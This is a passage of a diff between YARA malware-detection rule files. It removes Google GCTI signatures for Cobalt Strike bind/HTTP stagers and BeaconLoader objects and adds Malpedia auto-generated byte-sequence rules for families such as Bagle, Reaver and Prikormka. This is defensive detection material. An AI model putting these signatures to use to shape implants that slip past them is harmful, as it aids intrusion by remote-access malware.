+		$sequence_1 = { 7809 488d1542850a00 59 c3 b907000000 cd29 0f0b }
+		$sequence_2 = { 8b842440010000 898424f0000000 0f28842420010000 0f288c2430010000 0f298c24e0000000 0f298424d0000000 8b8424c8000000 }
+		$sequence_3 = { 884710 4883670800 c6471100 488d542428 48891a 4c8d052abf0e00 eb3e }
+		$sequence_4 = { 488d95100a0000 48c70208000000 488d8d70120000 e8???????? e9???????? 4c8bb568130000 6a0c }
+		$sequence_5 = { 488d8c24f0010000 e8???????? 41bf01000000 e9???????? 488dac2460010000 488b4530 4889842400010000 }
+		$sequence_6 = { 4c89fa 4989c0 e8???????? 488b8698000000 4801d8 483b8690000000 7763 }
+		$sequence_7 = { 89ca b101 e9???????? b103 e9???????? 4c8b01 410fb64810 }
+		$sequence_8 = { ffe1 31c9 4883bc241801000004 0f84f8620000 488b942448030000 488b32 4883fe02 }
+		$sequence_9 = { eb02 31c0 4883c428 c3 4c8d0df4bf0900 4889c1 4c89c2 }
 
 	condition:
-		$decoderFunc
+		7 of them and filesize <3217408
 }
-rule GCTI_Cobaltstrike_Resources_Bind64_Bin_V2_5_Through_V4_X
+rule MALPEDIA_Win_Mewsei_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/bind64.bin signature for versions v2.5 to v4.x"
-		author = "gssincla@google.com"
-		id = "a01e7bc3-40e9-5f87-8fd6-926972be273b"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Bind64_Bin_v2_5_through_v4_x.yara#L17-L109"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "5dd136f5674f66363ea6463fd315e06690d6cb10e3cc516f2d378df63382955d"
-		logic_hash = "ba79abc5cfeaccb94699c0d85c16b2ddf6820bc148c0fd1c9b33c07222e36cb6"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "78bf6ca7-ef3d-53c3-89fb-bc5bc524aac5"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mewsei"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mewsei_auto.yar#L1-L123"
+		license_url = "N/A"
+		logic_hash = "3736165e5248449b2b75237b3807b31270781b320dfabe4092f7167612f74bb7"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$apiLocator = {
-			48 [2]
-			AC
-			41 [2] 0D
-			41 [2]
-			38 ??
-			75 ??
-			4C [4]
-			45 [2]
-			75 ??
-			5?
-			44 [2] 24
-			49 [2]
-			66 [4]
-			44 [2] 1C
-			49 [2]
-			41 [3]
-			48
-		}
-		$calls = {
-			41 BA C2 DB 37 67
-			FF D5
-			48 [2]
-			48 [2]
-			41 BA B7 E9 38 FF
-			FF D5
-			4D [2]
-			48 [2]
-			48 [2]
-			41 BA 74 EC 3B E1
-			FF D5
-			48 [2]
-			48 [2]
-			41 BA 75 6E 4D 61
-		}
+		$sequence_0 = { 337df8 8b5dfc 237df4 337df0 037dc0 8dbc1faf0f7cf5 }
+		$sequence_1 = { e8???????? 50 8bc7 e8???????? 83c404 e8???????? 50 }
+		$sequence_2 = { 0fbe7c0602 57 e8???????? 83c404 85c0 7405 8d47d0 }
+		$sequence_3 = { 8b4610 8b0cb8 8911 8b55f8 }
+		$sequence_4 = { 57 e8???????? 8b1d???????? 83c410 6a00 }
+		$sequence_5 = { 83c404 895df8 85db 750c 6a01 e8???????? 83c404 }
+		$sequence_6 = { 6a01 6a0e 56 ff15???????? }
+		$sequence_7 = { 6a04 8d4df8 51 6a04 6a00 56 }
+		$sequence_8 = { ff15???????? 57 8bf0 53 56 ff15???????? 50 }
+		$sequence_9 = { 337df4 337dfc 037dcc 8dbc1ff87ca21f 8b5df0 c1c710 }
 
 	condition:
-		$apiLocator and $calls
+		7 of them and filesize <504832
 }
-rule GCTI_Cobaltstrike_Resources_Httpstager64_Bin_V3_2_Through_V4_X
+rule MALPEDIA_Win_Reaver_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/httpstager64.bin signature for versions v3.2 to v4.x"
-		author = "gssincla@google.com"
-		id = "5530dce8-e5a1-5133-9b05-464e3397084a"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Httpstager64_Bin_v3_2_through_v4_x.yara#L17-L85"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "ad93d1ee561bc25be4a96652942f698eac9b133d8b35ab7e7d3489a25f1d1e76"
-		logic_hash = "23666169565c6b3e5fa71767dc31096e7a25be049eeab16b074053d76c97c70b"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "92b8afe7-b0ea-5ba5-8d5f-5512437f6132"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.reaver"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.reaver_auto.yar#L1-L116"
+		license_url = "N/A"
+		logic_hash = "8a78ae101ee8d9e477556b7d81328c10daa6a32306210d234ed44ad07120f4bd"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$apiLocator = {
-			48 [2]
-			AC
-			41 [2] 0D
-			41 [2]
-			38 ??
-			75 ??
-			4C [4]
-			45 [2]
-			75 ??
-			5?
-			44 [2] 24
-			49 [2]
-			66 [4]
-			44 [2] 1C
-			49 [2]
-			41 [3]
-			48
-		}
-		$postInternetOpenJmp = {
-			41 ?? 3A 56 79 A7
-			FF ??
-			EB
-		}
+		$sequence_0 = { ff15???????? 85c0 7453 8d45f4 50 ff7508 }
+		$sequence_1 = { 50 ff7508 6a00 ff15???????? 85c0 7440 }
+		$sequence_2 = { ff15???????? 85c0 7453 8d45f4 }
+		$sequence_3 = { 85c0 7453 8d45f4 50 ff7508 }
+		$sequence_4 = { 85c0 7440 8b45f4 6a00 8945e8 }
+		$sequence_5 = { 85c0 7440 8b45f4 6a00 }
+		$sequence_6 = { 85c0 740d ff15???????? 3d14050000 7504 33c0 }
+		$sequence_7 = { 8bec 83ec1c 8d45fc 50 68ff010f00 }
+		$sequence_8 = { 8bec 83ec1c 8d45fc 50 68ff010f00 ff15???????? 50 }
+		$sequence_9 = { 85c0 740d ff15???????? 3d14050000 }
 
 	condition:
-		$apiLocator and $postInternetOpenJmp
+		7 of them and filesize <106496
 }
-rule GCTI_Cobaltstrike_Resources_Bind_Bin_V2_5_Through_V4_X
+rule MALPEDIA_Win_Ratankbapos_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/bind.bin signature for versions 2.5 to 4.x"
-		author = "gssincla@google.com"
-		id = "32f129c1-9845-5843-9e16-7d9af217b8e2"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Bind_Bin_v2_5_through_v4_x.yara#L17-L111"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "3727542c0e3c2bf35cacc9e023d1b2d4a1e9e86ee5c62ee5b66184f46ca126d1"
-		logic_hash = "cf04e257590cf0673059348f5c15926918eb8aee40e864ae65979360aca80013"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "5159f055-afb3-5653-8c2e-8b4cd00d6051"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ratankbapos"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ratankbapos_auto.yar#L1-L121"
+		license_url = "N/A"
+		logic_hash = "307bbc2928c4233a295ed19557340191e5f9ae029ac3d7d89bb25a026e5ae32e"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$apiLocator = {
-			31 ??
-			AC
-			C1 ?? 0D
-			01 ??
-			38 ??
-			75 ??
-			03 [2]
-			3B [2]
-			75 ??
-			5?
-			8B ?? 24
-			01 ??
-			66 8B [2]
-			8B ?? 1C
-			01 ??
-			8B ?? 8B
-			01 ??
-			89 [3]
-			5?
-			5?
-		}
-		$ws2_32 = {
-			5D
-			68 33 32 00 00
-			68 77 73 32 5F
-		}
-		$listenaccept = {
-			5?
-			5?
-			68 B7 E9 38 FF
-			FF ??
-			5?
-			5?
-			5?
-			68 74 EC 3B E1
-		}
+		$sequence_0 = { 8d542444 56 52 e8???????? 8d44244c 83c424 33d2 }
+		$sequence_1 = { 83c424 33d2 8d7001 8d4900 8a08 40 3acb }
+		$sequence_2 = { 897304 8d7901 90 8a01 41 84c0 }
+		$sequence_3 = { 8b4b0c 03f0 c68405fcdfffff00 8d85fcdfffff 89b5f4dfffff c6040e00 }
+		$sequence_4 = { e8???????? 8b4510 33c9 8a4801 8d14cdd8ea0010 }
+		$sequence_5 = { ffb7c03d0110 ff15???????? 8987c03d0110 83c704 83ff28 72e6 5f }
+		$sequence_6 = { ff15???????? 83c41c 8bf0 ff15???????? 50 }
+		$sequence_7 = { 8b4dfc 33cd 83c408 b001 }
+		$sequence_8 = { b801000000 894588 8945a4 33c9 8bc2 c78574ffffff3c000000 }
+		$sequence_9 = { 8bc8 c1f905 8d3c8de04d0110 8bf0 }
 
 	condition:
-		$apiLocator and $ws2_32 and $listenaccept
+		7 of them and filesize <327680
 }
-rule GCTI_Cobaltstrike_Sleeve_Beaconloader_HA_X86_O_V4_3_V4_4_V4_5_And_V4_6
+rule MALPEDIA_Win_Bagle_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's sleeve/BeaconLoader.HA.x86.o (HeapAlloc) Versions 4.3 through at least 4.6"
-		author = "gssincla@google.com"
-		id = "0ee3fa6f-367c-596f-a3bc-3bcfa61b97aa"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Sleeve_BeaconLoader_all.yara#L17-L59"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "8e4a1862aa3693f0e9011ade23ad3ba036c76ae8ccfb6585dc19ceb101507dcd"
-		logic_hash = "d02257bc556d0b1675997ab6af1b28cf5f498855d6254e3c1cd7eb4a0c4d2715"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "df34f7e5-e23a-57ca-9057-158d47df6a58"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bagle"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bagle_auto.yar#L1-L121"
+		license_url = "N/A"
+		logic_hash = "191b784ad61e65e2f10fbf592eeed47046bf8d9317c3471370d1a12460ef9a14"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$core_sig = {
-      C6 45 F0 48
-      C6 45 F1 65
-      C6 45 F2 61
-      C6 45 F3 70
-      C6 45 F4 41
-      C6 45 F5 6C
-      C6 45 F6 6C
-      C6 45 F7 6F
-      C6 45 F8 63
-      C6 45 F9 00
-    }
+		$sequence_0 = { b03d f3aa 5b 5f 5e c9 }
+		$sequence_1 = { c745f400000000 6a06 6a01 6a02 e8???????? 8bd8 ff7508 }
+		$sequence_2 = { e340 ac c1e010 83f901 740b }
+		$sequence_3 = { c9 c20c00 c1c206 8bc2 }
+		$sequence_4 = { f7d9 2bf9 b03d f3aa 5b 5f 5e }
+		$sequence_5 = { 68???????? e8???????? 0bc0 7426 6880000000 68???????? e8???????? }
+		$sequence_6 = { c20c00 c1c206 8bc2 243f 3c3e }
+		$sequence_7 = { 53 8b7508 8b7d0c 8b4d10 }
+		$sequence_8 = { 59 43 83fb12 7508 33db }
+		$sequence_9 = { e8???????? 58 c9 c20400 55 8bec 83c4f8 }
 
 	condition:
-		all of them
+		7 of them and filesize <245760
 }
-rule GCTI_Cobaltstrike_Sleeve_Beaconloader_MVF_X86_O_V4_3_V4_4_V4_5_And_V4_6
+rule MALPEDIA_Win_Oldbait_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's sleeve/BeaconLoader.MVF.x86.o (MapViewOfFile) Versions 4.3 through at least 4.6"
-		author = "gssincla@google.com"
-		id = "3f7c0553-989e-53e7-87a9-3fa1c47f4b62"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Sleeve_BeaconLoader_all.yara#L61-L111"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "cded3791caffbb921e2afa2de4c04546067c3148c187780066e8757e67841b44"
-		logic_hash = "dd831fb01a403213c06e3d07daf3da5f56655619a686149f9d4beec2331fe6ca"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "ebf9fc57-4949-58c7-824e-3ca5b4d74ce5"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.oldbait"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.oldbait_auto.yar#L1-L228"
+		license_url = "N/A"
+		logic_hash = "d1cd1bc5ec310d79468f4c2de84867d1b6cb0114c1b0bc749b36388cf16e7127"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 73
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$core_sig = {
-      C6 45 EC 4D
-      C6 45 ED 61
-      C6 45 EE 70
-      C6 45 EF 56
-      C6 45 F0 69
-      C6 45 F1 65
-      C6 45 F2 77
-      C6 45 F3 4F
-      C6 45 F4 66
-      C6 45 F5 46
-      C6 45 F6 69
-      C6 45 F7 6C
-      C6 45 F8 65
-      C6 45 F9 00
-    }
+		$sequence_0 = { 05d4db1900 8945f4 ff35???????? ff75fc ff55f4 5f 5e }
+		$sequence_1 = { 8bec 8b450c 56 33d2 57 }
+		$sequence_2 = { 33d2 57 8b7d08 8d70ff 85f6 7626 }
+		$sequence_3 = { 01459c 8b45c8 8945f8 eb05 }
+		$sequence_4 = { 69c061ea0000 3571281424 42 3bd6 894510 72da }
+		$sequence_5 = { 0145d8 8bb54cffffff 56 ff55d0 }
+		$sequence_6 = { 0145d8 33ff 8d837ff61800 803800 }
+		$sequence_7 = { 0145d8 8b45f0 ff45ec 0fb64004 }
+		$sequence_8 = { 0531b11800 50 8b45f8 0531010000 50 }
+		$sequence_9 = { 0145d4 41 c1ea04 75dc }
+		$sequence_10 = { 837d2000 7432 66c7045f0d00 43 66c7045f0a00 43 }
+		$sequence_11 = { 0145d8 8b45d8 3b45c8 7cc2 }
+		$sequence_12 = { 83e107 d3e8 30043a 8b4510 69c061ea0000 3571281424 42 }
+		$sequence_13 = { 6a40 6800300000 68d4fd1900 6a00 }
+		$sequence_14 = { 894510 72da 8bc7 5f 5e }
+		$sequence_15 = { 0103 01451c 8b06 8bc8 c1e906 }
+		$sequence_16 = { 8b55fc 8a5d0f 8d4701 83e007 02d9 }
+		$sequence_17 = { 7439 8d85bcfdffff 68???????? 50 }
+		$sequence_18 = { ffd6 68???????? 53 8945f0 ffd6 6a64 }
+		$sequence_19 = { 50 e8???????? ff75f4 8d8578ffffff 68???????? }
+		$sequence_20 = { ffd6 ffd0 8d85c0feffff 50 8d85bcfdffff }
+		$sequence_21 = { 8945ec ff7508 6a01 6a00 6a00 }
+		$sequence_22 = { 8d4df4 8945d4 51 57 50 }
+		$sequence_23 = { 57 50 53 68???????? ff35???????? ffd6 ffd0 }
 
 	condition:
-		all of them
+		7 of them and filesize <172032
 }
-rule GCTI_Cobaltstrike_Sleeve_Beaconloader_VA_X86_O_V4_3_V4_4_V4_5_And_V4_6
+rule MALPEDIA_Win_Bamital_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's sleeve/BeaconLoader.VA.x86.o (VirtualAlloc) Versions 4.3 through at least 4.6"
-		author = "gssincla@google.com"
-		id = "5f89c4be-f4c5-54d3-b923-d125de53902f"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Sleeve_BeaconLoader_all.yara#L114-L194"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "94d1b993a9d5786e0a9b44ea1c0dc27e225c9eb7960154881715c47f9af78cc1"
-		logic_hash = "19b2297986bd72204fb117560cddcfb512f5db6c157d9730b5802bf9f968eef4"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "3baca492-b609-5d4f-80bb-c68e186e995b"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bamital"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bamital_auto.yar#L1-L122"
+		license_url = "N/A"
+		logic_hash = "80aaa696b23b77db92b802971fab9d7fd90e414992e8440ec6c57f40448ba374"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$core_sig = {
-      C6 45 B0 56
-      C6 45 B1 69
-      C6 45 B2 72
-      C6 45 B3 74
-      C6 45 B4 75
-      C6 45 B5 61
-      C6 45 B6 6C
-      C6 45 B7 41
-      C6 45 B8 6C
-      C6 45 B9 6C
-      C6 45 BA 6F
-      C6 45 BB 63
-      C6 45 BC 00
-    }
-		$deobfuscator = {
-      8B 4D FC
-      83 C1 01
-      89 4D FC
-      8B 55 FC
-      3B 55 0C
-      73 19
-      0F B6 45 10
-      8B 4D 08
-      03 4D FC
-      0F BE 11
-      33 D0
-      8B 45 08
-      03 45 FC
-      88 10
-      EB D6
-    }
+		$sequence_0 = { eb05 83c001 ebe0 52 ff75fc e8???????? }
+		$sequence_1 = { 8ac4 8807 83c701 e2d8 c9 c20800 55 }
+		$sequence_2 = { ff75dc ff75d4 57 e8???????? 8b55fc 8945fc 0bd2 }
+		$sequence_3 = { e8???????? 8b55fc 8945fc 0bd2 }
+		$sequence_4 = { 0bc0 741f 50 83c001 50 }
+		$sequence_5 = { b800000000 c9 c20400 55 8bec 83c4f0 }
+		$sequence_6 = { 56 57 53 8b5d0c 8b7508 }
+		$sequence_7 = { ff7508 ff75f4 e8???????? 68e8070000 }
+		$sequence_8 = { 6a28 e8???????? 8945fc ff7508 e8???????? 8945f8 e8???????? }
+		$sequence_9 = { 8a07 3c39 7208 3c7e 7704 2c19 eb13 }
 
 	condition:
-		all of them
+		7 of them and filesize <90112
 }
-rule GCTI_Cobaltstrike_Sleeve_Beaconloader_X86_O_V4_3_V4_4_V4_5_And_V4_6
+rule MALPEDIA_Win_Poldat_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's sleeve/BeaconLoader.x86.o Versions 4.3 through at least 4.6"
-		author = "gssincla@google.com"
-		id = "32a47966-f3bb-52c3-a977-82a1b09ddf2c"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Sleeve_BeaconLoader_all.yara#L196-L276"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "94d1b993a9d5786e0a9b44ea1c0dc27e225c9eb7960154881715c47f9af78cc1"
-		logic_hash = "cab5441ce7d919101fc04aa469e77b71a4c444443e44c752f18cbbc5b17ed5c2"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "a4b71e9b-caa3-5e09-abcb-8fc111c1e88a"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poldat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.poldat_auto.yar#L1-L120"
+		license_url = "N/A"
+		logic_hash = "eec21397be824c40480269ad179cee66cff4f29ddc631fb679aa6de7be434481"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$core_sig = {
-      C6 45 B0 56
-      C6 45 B1 69
-      C6 45 B2 72
-      C6 45 B3 74
-      C6 45 B4 75
-      C6 45 B5 61
-      C6 45 B6 6C
-      C6 45 B7 41
-      C6 45 B8 6C
-      C6 45 B9 6C
-      C6 45 BA 6F
-      C6 45 BB 63
-      C6 45 BC 00
-    }
-		$deobfuscator = {
-      8B 4D FC
-      83 C1 01
-      89 4D FC
-      8B 55 FC
-      3B 55 0C
-      73 19
-      0F B6 45 10
-      8B 4D 08
-      03 4D FC
-      0F BE 11
-      33 D0
-      8B 45 08
-      03 45 FC
-      88 10
-      EB D6
-    }
+		$sequence_0 = { 8b35???????? 6a08 66ab 58 }
+		$sequence_1 = { 57 6a05 6a00 68???????? }
+		$sequence_2 = { 50 e8???????? 68fe010000 8d86b8070000 57 }
+		$sequence_3 = { 8a50ff 881431 41 48 3d???????? 7ff1 8d45fc }
+		$sequence_4 = { 8b0c9d68c34100 8b5e04 23ca 03cb 33db 8a1cce 8d34ce }
+		$sequence_5 = { 50 ff15???????? 56 e8???????? 59 5f 5e }
+		$sequence_6 = { 8b4c241c 8b0c8d68c34100 23cf 03c1 8b4c241c d3ef 03ca }
+		$sequence_7 = { 750a c74720a0324000 895728 395724 7507 }
+		$sequence_8 = { 7233 e9???????? 8b4c243c 8b5c2410 8b7104 c7411824d84100 }
+		$sequence_9 = { f7f9 8bfa ffd6 50 }
 
 	condition:
-		$core_sig and not $deobfuscator
+		7 of them and filesize <247808
 }
-rule GCTI_Cobaltstrike_Sleeve_Beaconloader_HA_X64_O_V4_3_V4_4_V4_5_And_V4_6
+rule MALPEDIA_Win_Prikormka_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's sleeve/BeaconLoader.HA.x64.o (HeapAlloc) Versions 4.3 through at least 4.6"
-		author = "gssincla@google.com"
-		id = "9b16ff13-2d8e-51dc-9f99-6c45eff76feb"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Sleeve_BeaconLoader_all.yara#L281-L323"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "d64f10d5a486f0f2215774e8ab56087f32bef19ac666e96c5627c70d345a354d"
-		logic_hash = "b712a0c218e473f6c64fdead22b291d7fb0bac8ba614adcf1ba6431e854a5e65"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "942667ef-c0ed-5e6f-acdd-388f6c8d0b49"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.prikormka"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.prikormka_auto.yar#L1-L426"
+		license_url = "N/A"
+		logic_hash = "7c65eb7008c5e728405addd601d63974803e3912597af2618d49b7f4b185b6c5"
 		score = 75
-		quality = 85
-		tags = ""
-
-	strings:
-		$core_sig = {
-      C6 44 24 38 48
-      C6 44 24 39 65
-      C6 44 24 3A 61
-      C6 44 24 3B 70
-      C6 44 24 3C 41
-      C6 44 24 3D 6C
-      C6 44 24 3E 6C
-      C6 44 24 3F 6F
-      C6 44 24 40 63
-      C6 44 24 41 00
-    }
+		quality = 50
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
+
+	strings:
+		$sequence_0 = { 8d0446 50 e8???????? 83c40c 6a00 56 }
+		$sequence_1 = { 8d1446 52 e8???????? 83c40c }
+		$sequence_2 = { ffd3 8b2d???????? 85c0 7405 }
+		$sequence_3 = { 51 e8???????? 83c40c 68???????? ffd7 }
+		$sequence_4 = { 85f6 7420 68???????? ffd7 }
+		$sequence_5 = { ff15???????? 68???????? ffd7 03c0 50 }
+		$sequence_6 = { 8b1d???????? 83c40c 6a00 56 ffd3 8b2d???????? }
+		$sequence_7 = { 56 ffd3 85c0 7405 6a02 56 }
+		$sequence_8 = { 740e 68???????? 50 ff15???????? ffd0 }
+		$sequence_9 = { 68???????? 6a00 6a00 ff15???????? 85c0 7502 59 }
+		$sequence_10 = { 83c40c 8d442404 50 ff15???????? 5e }
+		$sequence_11 = { 7408 41 42 3bce }
+		$sequence_12 = { 85c0 7502 59 c3 50 ff15???????? b801000000 }
+		$sequence_13 = { c3 57 6a00 6a00 6a00 6a02 }
+		$sequence_14 = { 68???????? ff15???????? 0fb7c0 6683f805 }
+		$sequence_15 = { ff15???????? ffd0 c705????????01000000 c705????????01000000 }
